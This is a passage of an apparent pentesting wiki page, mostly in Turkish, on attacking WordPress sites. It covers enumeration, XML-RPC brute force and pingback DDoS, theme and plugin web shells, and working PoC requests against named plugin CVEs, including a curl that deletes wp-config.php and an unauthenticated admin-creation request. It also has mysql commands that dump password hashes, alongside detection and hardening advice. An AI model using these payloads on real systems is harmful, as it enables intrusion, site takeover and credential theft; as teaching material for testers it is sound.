38 KiB
Raw Blame History

Wordpress

{{#include ../../banners/hacktricks-training.md}}

Temel Bilgiler

  • Yüklenen dosyalar şu adrese gider: http://10.10.10.10/wp-content/uploads/2018/08/a.txt

  • Tema dosyaları /wp-content/themes/ dizininde bulunur, bu yüzden temanın bazı php dosyalarını değiştirip RCE elde etmeye çalışırsanız muhtemelen bu yolu kullanırsınız. Örneğin: twentytwelve temasını kullanarak /wp-content/themes/twentytwelve/404.php dosyasına erişebilirsiniz.

  • Başka faydalı bir url olabilir: /wp-content/themes/default/404.php

  • wp-config.php içinde veritabanının root parolasını bulabilirsiniz.

  • Kontrol edilecek varsayılan giriş yolları: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

Ana WordPress Dosyaları

  • index.php
  • license.txt örneğin yüklü WordPress sürümünü içeren faydalı bilgiler barındırır.
  • wp-activate.php yeni bir WordPress sitesi kurulumunda e-posta aktivasyon süreci için kullanılır.
  • Giriş klasörleri (gizlemek için yeniden adlandırılmış olabilir):
  • /wp-admin/login.php
  • /wp-admin/wp-login.php
  • /login.php
  • /wp-login.php
  • xmlrpc.php HTTP taşıma mekanizması ve XML kodlama mekanizması ile veri iletimine izin veren bir WordPress özelliğini temsil eden bir dosyadır. Bu tür iletişim WordPress REST API ile değiştirilmiştir.
  • wp-content klasörü eklenti ve temaların saklandığı ana dizindir.
  • wp-content/uploads/ platforma yüklenen herhangi bir dosyanın saklandığı dizindir.
  • wp-includes/ sertifikalar, fontlar, JavaScript dosyaları ve widget'lar gibi core dosyalarının saklandığı dizindir.
  • wp-sitemap.xml Wordpress 5.5 ve üzeri sürümlerde, tüm herkese açık gönderileri ve herkese açık sorgulanabilir post türleri ile taksonomileri içeren bir sitemap XML dosyası oluşturur.

Post exploitation

  • wp-config.php dosyası WordPress'in veritabanına bağlanması için gereken veritabanı adı, veritabanı hostu, kullanıcı adı ve parola, kimlik doğrulama anahtarları ve tuzlar, ve veritabanı tablo öneki gibi bilgileri içerir. Bu yapılandırma dosyası ayrıca DEBUG modunu etkinleştirmek için kullanılabilir; bu da sorun giderme sırasında faydalı olabilir.

Kullanıcı İzinleri

  • Administrator
  • Editor: Kendi ve diğerlerinin gönderilerini yayınlar ve yönetir
  • Author: Kendi gönderilerini yayınlar ve yönetir
  • Contributor: Gönderilerini yazar ve yönetir ancak yayımlayamaz
  • Subscriber: Gönderileri görüntüler ve profilini düzenleyebilir

Pasif Keşif

WordPress sürümünü öğrenme

/license.txt veya /readme.html dosyalarını bulup bulamayacağınızı kontrol edin

Sayfanın kaynak kodu içinde (örnek from https://wordpress.org/support/article/pages/):

  • grep
curl https://victim.com/ | grep 'content="WordPress'
  • meta name

  • CSS link dosyaları

  • JavaScript dosyaları

Eklentiler

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Temaları Al

curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Genel olarak sürüm bilgisi çıkarma

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Aktif keşif

Eklentiler ve Temalar

Muhtemelen tüm eklentileri ve temaları bulamayacaksınız. Hepsini keşfetmek için, aktif olarak eklenti ve tema listelerini Brute Force etmeniz gerekecek (umarız bu listeleri içeren otomatik araçlar vardır).

Kullanıcılar

  • ID Brute: Bir WordPress sitesinden geçerli kullanıcıları, kullanıcı ID'lerini Brute Forcing yaparak elde edersiniz:
curl -s -I -X GET http://blog.example.com/?author=1

Eğer yanıtlar 200 veya 30X ise, bu id'nin geçerli olduğu anlamına gelir. Eğer yanıt 400 ise, id geçersizdir.

  • wp-json: Kullanıcılar hakkında bilgi almak için şu sorguyu da deneyebilirsiniz:
curl http://blog.example.com/wp-json/wp/v2/users

Kullanıcılar hakkında bazı bilgiler açığa çıkarabilecek bir diğer /wp-json/ endpoint şudur:

curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

Note that this endpoint only exposes users that have made a post. Sadece bu özellik etkin olan kullanıcılarla ilgili bilgiler sağlanacaktır.

Also note that /wp-json/wp/v2/pages could leak IP addresses.

  • Login username enumeration: /wp-login.php üzerinden giriş yaparken gösterilen mesaj, kullanıcının var olup olmadığına göre farklıdır.

XML-RPC

Eğer xml-rpc.php aktifse credentials brute-force gerçekleştirebilir veya bunu diğer kaynaklara DoS saldırıları başlatmak için kullanabilirsiniz. (Bu işlemi örneğin using this ile otomatikleştirebilirsiniz).

To see if it is active try to access to /xmlrpc.php and send this request:

Kontrol

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Credentials Bruteforce

wp.getUserBlogs, wp.getCategories veya metaWeblog.getUsersBlogs brute-force credentials için kullanılabilecek yöntemlerden bazılarıdır. Eğer bunlardan herhangi birini bulabilirseniz şu şekilde bir şey gönderebilirsiniz:

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

Geçerli olmayan kimlik bilgileri varsa, 200 kodlu yanıt içinde "Incorrect username or password" mesajı görünmelidir.

Doğru kimlik bilgileriyle bir dosya yükleyebilirsiniz. Yanıtta yol görünecektir (https://gist.github.com/georgestephanis/5681982)

<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

Also there is a daha hızlı bir yol to brute-force credentials using system.multicall as you can try several credentials on the same request:

Bypass 2FA

Bu yöntem programlar için tasarlanmıştır, insanlar için değil ve eski olduğu için 2FA'yı desteklemiyor. Yani, geçerli creds'iniz varsa ancak ana giriş 2FA ile korunuyorsa, xmlrpc.php'yi kullanarak bu creds ile 2FA'yı atlayarak oturum açmayı kötüye kullanabilirsiniz. Konsol aracılığıyla yapabildiğiniz tüm işlemleri gerçekleştiremeyebilirsiniz, ancak Ippsec'in açıkladığı gibi yine de RCE'ye ulaşabilirsiniz: https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s

DDoS or port scanning

If you can find the method pingback.ping inside the list you can make the Wordpress send an arbitrary request to any host/port.
Bu, binlerce Wordpress site'nin tek bir konum'a erişimde bulunmasını sağlamak için kullanılabilir (böylece o konumda bir DDoS oluşur) veya herhangi bir port belirterek Wordpress'in bazı'ları taramasını sağlamak için kullanılabilir.

<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

Eğer faultCode değeri 0'dan büyük (17) ise, bu portun açık olduğu anlamına gelir.

Önceki bölümdeki system.multicall kullanımına bakarak bu yöntemi DDoS oluşturmak için nasıl suistimal edebileceğinizi öğrenin.

DDoS

<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

Bu dosya genellikle Wordpress sitesinin kökünde bulunur: /wp-cron.php
Bu dosyaya erişildiğinde "ır" MySQL sorgu çalıştırılır; bu yüzden attackers bir DoS'a sebep olabilir.
Ayrıca, varsayılan olarak, wp-cron.php her sayfa yüklenişinde (bir istemci herhangi bir Wordpress sayfasını istediğinde) tetiklenir; yüksek trafikli sitelerde bu problemler (DoS) yaratabilir.

Wp-Cron'u devre dışı bırakıp, sunucu içinde gerekli işlemleri düzenli aralıklarla gerçekleştirecek gerçek bir cronjob oluşturmanız önerilir (sorunlara yol açmadan).

/wp-json/oembed/1.0/proxy - SSRF

Şu adrese erişmeyi deneyin https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net ve Worpress sitesi size bir istek yapabilir.

This is the response when it doesn't work:

SSRF

{{#ref}} https://github.com/t0gu/quickpress/blob/master/core/requests.go {{#endref}}

Bu araç, methodName: pingback.ping'in ve /wp-json/oembed/1.0/proxy yolunun varlığını kontrol eder; eğer mevcutsa, bunları exploit etmeye çalışır.

Otomatik Araçlar

cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"

Bir biti üzerine yazarak erişim sağlama

Gerçek bir saldırıdan çok bir merak konusudur. CTF'de https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man herhangi bir wordpress dosyasındaki 1 biti değiştirebiliyordunuz. Böylece /var/www/html/wp-includes/user.php dosyasının 5389 konumundaki biti değiştirerek NOT (!) işlemini NOP yapabilirdiniz.

if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

Panel RCE

Kullanılan temadaki bir php'yi değiştirme (admin credentials needed)

Appearance → Theme Editor → 404 Template (sağ tarafta)

İçeriği bir php shell ile değiştirin:

Güncellenmiş sayfaya nasıl erişileceğini internette araştırın. Bu durumda şuraya erişmeniz gerekiyor: http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

Şunu kullanabilirsiniz:

use exploit/unix/webapp/wp_admin_shell_upload

oturum elde etmek için.

Plugin RCE

PHP plugin

.php dosyalarını bir plugin olarak yüklemek mümkün olabilir.
Örneğin şu şekilde php backdoor'unuzu oluşturun:

Sonra yeni bir plugin ekleyin:

Plugin'i yükleyin ve "Install Now" butonuna basın:

"Procced"e tıklayın:

Muhtemelen görünürde hiçbir şey olmayacak, ancak Media'ya giderseniz yüklenmiş shell'inizi göreceksiniz:

Erişin ve reverse shell'i çalıştırmak için URL'yi göreceksiniz:

Uploading and activating malicious plugin

Bu yöntem, bilinen şekilde zafiyetli olan ve web shell elde etmek için istismar edilebilen zararlı bir plugin'in kurulmasını içerir. Bu işlem WordPress dashboard üzerinden şu şekilde gerçekleştirilir:

  1. Plugin Edinimi: Plugin, Exploit DB gibi bir kaynaktan elde edilir; örneğin here.
  2. Plugin Kurulumu:
  • WordPress dashboard'a gidin, sonra Dashboard > Plugins > Upload Plugin.
  • İndirilen plugin'in zip dosyasını yükleyin.
  1. Plugin Aktivasyonu: Plugin başarılı şekilde yüklendikten sonra dashboard üzerinden aktive edilmelidir.
  2. Exploitation:
  • "reflex-gallery" plugin'i yüklü ve aktif olduğunda, zafiyeti bilindiği için istismar edilebilir.
  • Metasploit framework bu zafiyet için bir exploit sağlar. Uygun modülü yükleyip belirli komutları çalıştırarak bir meterpreter oturumu kurulabilir ve siteye yetkisiz erişim sağlanabilir.
  • Bunun, bir WordPress sitesini istismar etmenin birçok yönteminden sadece biri olduğu not edilmelidir.

İçerik, WordPress dashboard'unda plugin'i yükleme ve aktifleştirme adımlarını gösteren görsel yardımcılar içerir. Ancak, bu şekilde zafiyetleri istismar etmek uygun yetki olmadan yasa dışı ve etik dışıdır. Bu bilgiler sorumlu şekilde ve yalnızca açık izinle yapılan penetration testing gibi yasal bağlamlarda kullanılmalıdır.

For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/

XSS'ten RCE'ye

  • WPXStrike: WPXStrike WordPress'te bir Cross-Site Scripting (XSS) zafiyetini Remote Code Execution (RCE) veya diğer kritik zafiyetlere yükseltmek için tasarlanmış bir script'tir. Daha fazla bilgi için this post'a bakın. Aşağıdaki Wordpress sürümlerini destekler ve şunları yapmaya olanak tanır:
  • Privilege Escalation: WordPress'te bir kullanıcı oluşturur.
  • (RCE) Custom Plugin (backdoor) Upload: Özel plugin (backdoor) yüklemenizi sağlar.
  • (RCE) Built-In Plugin Edit: WordPress'teki built-in plugin'leri düzenlemenizi sağlar.
  • (RCE) Built-In Theme Edit: WordPress'teki built-in theme'leri düzenlemenizi sağlar.
  • (Custom) Custom Exploits: Üçüncü taraf WordPress pluginleri/temaları için özel exploit'ler.

Post Exploitation

Kullanıcı adları ve parolaları çıkar:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

admin parolasını değiştir:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

Wordpress Plugins Pentest

Attack Surface

Bir Wordpress eklentisinin işlevselliği nasıl açığa çıkardığını bilmek, o işlevlerdeki zafiyetleri bulmak için anahtardır. Bir eklentinin işlevselliği nasıl açığa çıkarabileceğini aşağıdaki madde başlıklarında bulabilirsiniz ve savunmasız bazı eklenti örnekleri için this blog post.

  • wp_ajax

Bir eklentinin fonksiyonlarını kullanıcılara açığa çıkarmasının yollarından biri AJAX işleyicileridir. Bunlar mantık, authorization veya authentication hataları içerebilir. Ayrıca, bu fonksiyonların sıklıkla hem authentication hem authorization'ı bir wordpress nonce'unun varlığına dayandırması yaygındır; bu nonce Wordpress kurulumunda kimliği doğrulanmış herhangi bir kullanıcıda bulunabilir (rolünden bağımsız olarak).

Bunlar bir eklentide bir fonksiyonu açığa çıkarmak için kullanılabilecek fonksiyonlardır:

add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));

nopriv kullanımı endpoint'i herhangi bir kullanıcı tarafından (kimlik doğrulanmamış olanlar dahil) erişilebilir hale getirir.

Caution

Ayrıca, eğer fonksiyon yalnızca kullanıcının yetkisini wp_verify_nonce fonksiyonuyla kontrol ediyorsa, bu fonksiyon sadece kullanıcının oturum açmış olduğunu doğrular; genellikle kullanıcının rolünü kontrol etmez. Bu yüzden düşük ayrıcalığa sahip kullanıcılar yüksek ayrıcalıklı işlemlere erişebilir.

  • REST API

Ayrıca register_rest_route fonksiyonunu kullanarak wordpress'ten fonksiyonları bir REST API olarak kayıt edip açığa çıkarmak da mümkündür:

register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);

The permission_callback is a callback to function that checks if a given user is authorized to call the API method.

If the built-in __return_true function is used, it'll simply skip user permissions check.

  • Doğrudan php dosyasına erişim

Elbette, Wordpress PHP kullanır ve eklenti içindeki dosyalar web üzerinden doğrudan erişilebilir. Bu nedenle, bir eklenti yalnızca dosyaya erişilmesiyle tetiklenen herhangi bir güvenlik açığı barındırıyorsa, bu herhangi bir kullanıcı tarafından istismar edilebilir.

Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)

Bazı eklentiler dahili entegrasyonlar veya reverse proxy'ler için “trusted header” kısayolları uygular ve sonra bu header'ı REST istekleri için mevcut kullanıcı bağlamını ayarlamakta kullanır. Eğer bu header yukarı akış bileşeni tarafından isteğe kriptografik olarak bağlanmamışsa, bir saldırgan onu taklit ederek yönetici olarak ayrıcalıklı REST rotalarına erişebilir.

  • Impact: unauthenticated privilege escalation to admin by creating a new administrator via the core users REST route.
  • Example header: X-Wcpay-Platform-Checkout-User: 1 (forces user ID 1, typically the first administrator account).
  • Exploited route: POST /wp-json/wp/v2/users with an elevated role array.

PoC

POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114

{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}

Neden işe yarıyor

  • Plugin, istemci tarafından kontrol edilen bir header'ı authentication state ile eşler ve capability kontrollerini atlar.
  • WordPress core bu route için create_users capability'sini bekler; plugin hack'i bu kontrolü header'dan doğrudan current user context ayarlayarak atlatır.

Beklenen başarı göstergeleri

  • HTTP 201 ve oluşturulan kullanıcıyı tanımlayan bir JSON body.
  • wp-admin/users.php içinde görünen yeni bir admin kullanıcı.

Tespit kontrol listesi

  • getallheaders(), $_SERVER['HTTP_...'] için grep yapın veya vendor SDK'ları gibi custom header'ları okuyup user context ayarlayan kütüphanelere bakın (ör. wp_set_current_user(), wp_set_auth_cookie()).
  • Privileged callback'leri olan REST kayıtlarını inceleyin; sağlam bir permission_callback kontrolü olmayan ve bunun yerine request header'larına güvenenleri tespit edin.
  • REST handler'ları içinde yalnızca header değerleri ile sınırlanan core user-management fonksiyonlarının (wp_insert_user, wp_create_user) kullanımlarına bakın.

Sertleştirme

  • Authentication veya authorization'ı istemci kontrollü header'lardan türetmeyin.
  • Bir reverse proxy kimlik enjekte etmek zorundaysa, güveni proxy'de sonlandırın ve gelen kopyaları kenarda strip edin (ör. edge'de unset X-Wcpay-Platform-Checkout-User), sonra imzalı bir token ile iletin ve server-side doğrulayın.
  • Privileged action yapan REST route'ları için current_user_can() kontrolleri ve katı bir permission_callback zorunlu kılın ( __return_true kullanmayın).
  • Header “impersonation” yerine birinci taraf auth'u (cookies, application passwords, OAuth) tercih edin.

Referanslar: halka açık bir vaka ve daha geniş analiz için sayfanın sonundaki linklere bakın.

wp_ajax_nopriv ile Yetkisiz Keyfi Dosya Silme (Litho Theme <= 3.0)

WordPress temaları ve eklentileri sıkça AJAX handler'larını wp_ajax_ ve wp_ajax_nopriv_ hook'ları aracılığıyla açığa çıkarır. nopriv varyantı kullanıldığında callback yetkisiz ziyaretçiler tarafından erişilebilir hale gelir, bu yüzden herhangi bir hassas işlem ayrıca aşağıdakileri uygulamalıdır:

  1. Bir yetki kontrolü (ör. current_user_can() veya en azından is_user_logged_in()), ve
  2. check_ajax_referer() / wp_verify_nonce() ile doğrulanan bir CSRF nonce, ve
  3. Sıkı girdi sanitizasyonu / doğrulaması.

Litho multipurpose theme (< 3.1) bu 3 kontrolü Remove Font Family özelliğinde unutmuş ve sonuç olarak aşağıdaki kodu (sadeleştirilmiş) dağıtmış:

function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir  = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();

if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data',        'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );

Bu kod parçasının yol açtığı sorunlar:

  • Kimlik doğrulaması olmayan erişim wp_ajax_nopriv_ hook'ı kayıtlı.
  • Nonce / capability check yok herhangi bir ziyaretçi endpoint'e istek gönderebilir.
  • Yol sanitizasyonu yok kullanıcı kontrollü fontfamily string'i filtrelenmeden dosya sistemi yoluna ekleniyor, klasik ../../ traversal'a izin veriyor.

İstismar

Bir saldırgan tek bir HTTP POST isteği göndererek herhangi bir dosyayı veya dizini uploads ana dizininin altında (genellikle <wp-root>/wp-content/uploads/) silebilir:

curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'

wp-config.php uploads klasörünün dışında bulunduğu için, varsayılan kurulumda dört ../ dizisi yeterlidir. wp-config.php'yi silmek bir sonraki ziyarette WordPress'i kurulum sihirbazı durumuna sokar ve tam site ele geçirmeye olanak verir (saldırgan sadece yeni bir DB yapılandırması sağlar ve bir admin user oluşturur).

Diğer etkili hedefler arasında plugin/theme .php dosyaları (security plugin'lerini bozmak için) veya .htaccess kuralları yer alır.

Tespit kontrol listesi

  • Dosya sistemi yardımcılarını (copy(), unlink(), $wp_filesystem->delete(), vb.) çağıran herhangi bir add_action( 'wp_ajax_nopriv_...') callback'i.
  • Temizlenmemiş kullanıcı girdilerinin yollara eklenmesi (bak: $_POST, $_GET, $_REQUEST).
  • check_ajax_referer() ve current_user_can()/is_user_logged_in() fonksiyonlarının yokluğu.

Sertleştirme

function secure_remove_font_family() {
if ( ! is_user_logged_in() ) {
wp_send_json_error( 'forbidden', 403 );
}
check_ajax_referer( 'litho_fonts_nonce' );

$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;

if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
wp_send_json_error( 'invalid path', 400 );
}
// … proceed …
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
//  🔒  NO wp_ajax_nopriv_ registration

Tip

Her zaman diskteki herhangi bir yazma/silme işlemini ayrıcalıklı olarak ele alın ve çift kontrol yapın: • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via realpath() plus str_starts_with()).


Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")

Birçok plugin, orijinal rol(leri) user meta içinde kaydederek daha sonra geri yüklenebilmeleri için "view as role" veya geçici rol değiştirme özelliği uygular. Eğer geri yükleme yolu yalnızca request parametrelerine (ör. $_REQUEST['reset-for']) ve plugin tarafından tutulan bir listeye dayanıyor ve capabilities ile valid nonce kontrolü yapmıyorsa, bu bir vertical privilege escalation haline gelir.

Gerçek bir örnek Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1) içinde bulunmuştur. Reset dalı, kullanıcı adı dahili bir dizi $options['viewing_admin_as_role_are'] içinde görünüyorsa reset-for=<username> bazında rolleri geri yüklüyordu, ancak mevcut rolleri kaldırıp user meta _asenha_view_admin_as_original_roles içindeki kaydedilmiş rolleri tekrar eklemeden önce ne bir current_user_can() kontrolü ne de bir nonce doğrulaması yapıyordu:

// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];

if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}

Neden istismar edilebilir

  • Sunucu tarafı yetkilendirmesi olmadan $_REQUEST['reset-for'] ve bir plugin seçeneğine güvenir.
  • Daha önce _asenha_view_admin_as_original_roles içinde daha yüksek ayrıcalıklara sahip olup yetkisi düşürülmüş bir kullanıcı, sıfırlama yoluna erişerek bunları geri yükleyebilir.
  • Bazı dağıtımlarda, yetkilendirme hatası nedeniyle herhangi bir kimlikli kullanıcı, viewing_admin_as_role_are içinde hâlâ bulunan başka bir kullanıcı adına reset tetikleyebilir (broken authorization).

Saldırı önkoşulları

  • Özelliği etkin olan etkilenmiş plugin sürümü.
  • Hedef hesabın, önceki kullanımdan kalan ve user meta'da saklı yüksek ayrıcalıklı bir role sahip olması.
  • Herhangi bir doğrulanmış oturum; reset akışında nonce/capability eksikliği.

İstismar (örnek)

# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'

Zayıf yapılandırmalarda bu, mevcut rolleri kaldırır ve kaydedilmiş orijinal rolleri (örn. administrator) yeniden ekler; bu da ayrıcalıkların yükselmesine yol açar.

Detection checklist

  • Rol değiştirme özelliklerinde, kullanıcı meta verisinde “orijinal rolleri” (örn. _asenha_view_admin_as_original_roles) saklayan öğeleri arayın.
  • Sıfırlama/geri yükleme yollarını belirleyin:
    • Kullanıcı adlarını $_REQUEST / $_GET / $_POST üzerinden okuyan.
    • Rolleri add_role() / remove_role() ile değiştiren ve bunu current_user_can() ile wp_verify_nonce() / check_admin_referer() kontrolleri olmadan yapan.
    • Yetkilendirmeyi aktörün yetenekleri yerine bir eklenti seçenek dizisine (örn. viewing_admin_as_role_are) dayandıran.

Hardening

  • Her durum değişikliğine yol açan kod dalında yetenek kontrollerini zorunlu kılın (örn. current_user_can('manage_options') veya daha sıkı).
  • Tüm rol/izin değişiklikleri için nonce gerektirin ve doğrulayın: check_admin_referer() / wp_verify_nonce().
  • İstekle sağlanan kullanıcı adlarına asla güvenmeyin; hedef kullanıcıyı sunucu tarafında, kimlik doğrulanmış aktöre ve açık politikaya göre belirleyin.
  • Profil/rol güncellemelerinde “orijinal rolleri” durumu geçersiz kılın, böylece eski yüksek ayrıcalıkların geri yüklenmesini engelleyin:
add_action( 'profile_update', function( $user_id ) {
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
}, 10, 1 );
  • Geçici rol değişimleri için minimum durum saklamayı ve süreli, yetki-korumalı token'lar kullanmayı düşünün.

Unauthenticated privilege escalation via cookietrusted user switching on public init (Service Finder “sf-booking”)

Bazı eklentiler user-switching yardımcılarını public init hook'una bağlar ve kimliği client-controlled cookie'den türetir. Eğer kod wp_set_auth_cookie()'ı kimlik doğrulama, capability ve geçerli bir nonce doğrulaması yapmadan çağırıyorsa, herhangi bir yetkilendirilmemiş ziyaretçi rastgele bir kullanıcı ID'si ile zorla giriş yapabilir.

Tipik zayıf desen (Service Finder Bookings ≤ 6.1'den basitleştirilmiş):

function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');

function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid);  // 🔥 sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}

Neden istismar edilebilir

  • Public init hook, handler'ın kimliği doğrulanmamış kullanıcılar tarafından erişilebilir olmasını sağlar (hiçbir is_user_logged_in() koruması yok).
  • Kimlik, istemci tarafından değiştirilebilen bir cookie (original_user_id) üzerinden türetilir.
  • Doğrudan wp_set_auth_cookie($uid) çağrısı, istekte bulunan kişiyi herhangi bir capability/nonce kontrolü olmadan o kullanıcı olarak oturum açtırır.

İstismar (kimliği doğrulanmamış)

GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close

WAF considerations for WordPress/plugin CVEs

Generic edge/server WAFs are tuned for broad patterns (SQLi, XSS, LFI). Many highimpact WordPress/plugin flaws are application-specific logic/auth bugs that look like benign traffic unless the engine understands WordPress routes and plugin semantics.

Saldırı notları

  • Target plugin-specific endpoints with clean payloads: admin-ajax.php?action=..., wp-json/<namespace>/<route>, custom file handlers, shortcodes.
  • Exercise unauth paths first (AJAX nopriv, REST with permissive permission_callback, public shortcodes). Default payloads often succeed without obfuscation.
  • Typical high-impact cases: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.

Savunma notları

  • Dont rely on generic WAF signatures to protect plugin CVEs. Implement application-layer, vulnerability-specific virtual patches or update quickly.
  • Prefer positive-security checks in code (capabilities, nonces, strict input validation) over negative regex filters.

WordPress Protection

Regular Updates

Make sure WordPress, plugins, and themes are up to date. Also confirm that automated updating is enabled in wp-config.php:

define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

Ayrıca, sadece güvenilir WordPress plugins and themes yükleyin.

Güvenlik Eklentileri

Diğer Öneriler

  • Varsayılan admin kullanıcısını kaldırın
  • Güçlü şifreler ve 2FA kullanın
  • Kullanıcıların izinlerini periyodik olarak gözden geçirin
  • Giriş denemelerini sınırlayın Brute Force saldırılarını önlemek için
  • wp-admin.php dosyasının adını değiştirin ve erişime yalnızca dahili ağdan veya belirli IP adreslerinden izin verin.

Kimlik doğrulaması gerektirmeyen SQL Injection (yetersiz doğrulama) (WP Job Portal <= 2.3.2)

WP Job Portal recruitment plugin, sonuçta savecategory görevini açığa çıkardı; bu görev en nihayetinde modules/category/model.php::validateFormData() içinde aşağıdaki güvenli olmayan kodu çalıştırıyordu:

$category  = WPJOBPORTALrequest::getVar('parentid');
$inquery   = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category ";   // <-- direct concat ✗
}
$query  = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later

Issues introduced by this snippet:

  1. Temizlenmemiş kullanıcı girdisi parentid doğrudan HTTP isteğinden geliyor.
